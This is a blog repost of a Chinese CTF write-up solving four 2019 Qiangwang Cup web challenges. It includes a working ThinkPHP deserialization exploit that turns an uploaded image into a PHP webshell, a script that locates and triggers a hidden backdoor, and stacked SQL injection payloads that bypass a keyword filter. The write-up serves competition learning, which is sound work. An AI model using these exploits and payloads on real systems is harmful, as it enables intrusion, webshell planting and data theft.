2019强网杯Web部分题解(4题)

2019-06-03 约 385 字 预计阅读 2 分钟

声明:本文 【2019强网杯Web部分题解(4题)】 由作者 mochazz 于 2019-06-03 09:10:00 首发 先知社区 曾经 浏览数 115 次

感谢 mochazz 的辛苦付出!

upload

通过 dirsearch 可以发现源码泄露,下载下来审计。

➜  dirsearch git:(master) ./dirsearch.py -u 'http://117.78.28.89:31378' -e '*'
[22:03:46] 200 -    1KB - /favicon.ico
[22:03:51] 302 -    0B  - /home.html  ->  http://117.78.28.89:31378/index.php/index
[22:03:51] 302 -    0B  - /Home  ->  http://117.78.28.89:31378/index.php/index
[22:03:51] 302 -    0B  - /home  ->  http://117.78.28.89:31378/index.php/index
[22:04:00] 302 -    0B  - /logout  ->  http://117.78.28.89:31378/index.php/index
[22:04:19] 200 -   24B  - /robots.txt
[22:04:26] 301 -  322B  - /static  ->  http://117.78.28.89:31378/static/
[22:04:33] 301 -  322B  - /upload  ->  http://117.78.28.89:31378/upload/
[22:04:33] 200 -    1KB - /upload/
[22:05:06] 200 -   24MB - /www.tar.gz

首先看TP的路由信息( tp5/route/route.php ),关注web模块下的控制器方法。

先看下 tp5/application/web/controller/Index.php 中的代码,我们需要关注的是 login_check 方法,这个方法从 cookie 中获取字符串,并将其反序列化。所以我们可以反序列化任意类。

接着看 tp5/application/web/controller/Login.php 中的代码,Login 类里面只有一个 login 方法,就是常规的登录检测,没有可利用的地方。

再看 tp5/application/web/controller/Profile.php 中的代码,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,可以考虑和图片马相结合。

Profile.php 文件末尾还有两个魔术方法,其中 $this->except 在反序列化时可控,这一就有可能通过 __call 调用任意类方法。继续看 Register.php 中是否存在可以触发 __call 方法的地方。

我们看到 tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。

最终用下面生成的 EXP 作为 cookies 访问网页,即可将原来上传的图片马名字修改成 shell.php ,依次找 flag 即可。

<?php
namespace app\web\controller;
use think\Controller;

class Register
{
    public $checker;
    public $registed = false;
    public function __construct($checker){
        $this->checker = $checker;
    }
}

class Profile
{   # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
    public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
    public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
    public $ext = true;
    public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

高明的黑客

从题目给的源码来看,好像黑客留了shell,我们需要从这些源码中找到真正的shell。

我们先搜搜常见的shell,类似 eval($_GET[xx]) 或者 system($_GET[xx]) 。这里通过程序来寻找shell。(由于文件太多,建议本地跑,我跑了40分钟才出来:)

import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('/var/www/html/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'uname'
            flag = 'Linux'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
                if flag in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
                if flag in r.text:
                    print('backdoor file is: ' + name)
                    print('POST:  ' + passwd)
        except : pass

最终发现了真正的 shell ,直接连上查找 flag 即可。

随便注

fuzz 一下,会发现 ban 了以下字符:

return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

发现支持多语句查询。查表语句为:

http://117.78.39.172:32184/?inject=0';show tables;%23

由于过滤了 select 等关键字,我们可以用预编译来构造带有 selectsql 语句。

set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

结果提示:

strstr($inject, "set") && strstr($inject, "prepare")

既然是用 strstr 来匹配关键字,那么直接大小写关键字即可绕过:

http://xxxx/?inject=1'%3bSet+%40sqll%3dconcat('sel','ect+*+from+`1919810931114514`')%3bPrepare+presql+from+%40sqll%3bexecute+presql%3bdeallocate+Prepare+presql%3b%23

强网先锋-上单

从题目可观察出使用的 Thinkphp5.0.22 ,而这个版本存在 RCE ,所以直接使用 payload 攻击即可,具体原理见:ThinkPHP5漏洞分析之代码执行(九)

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now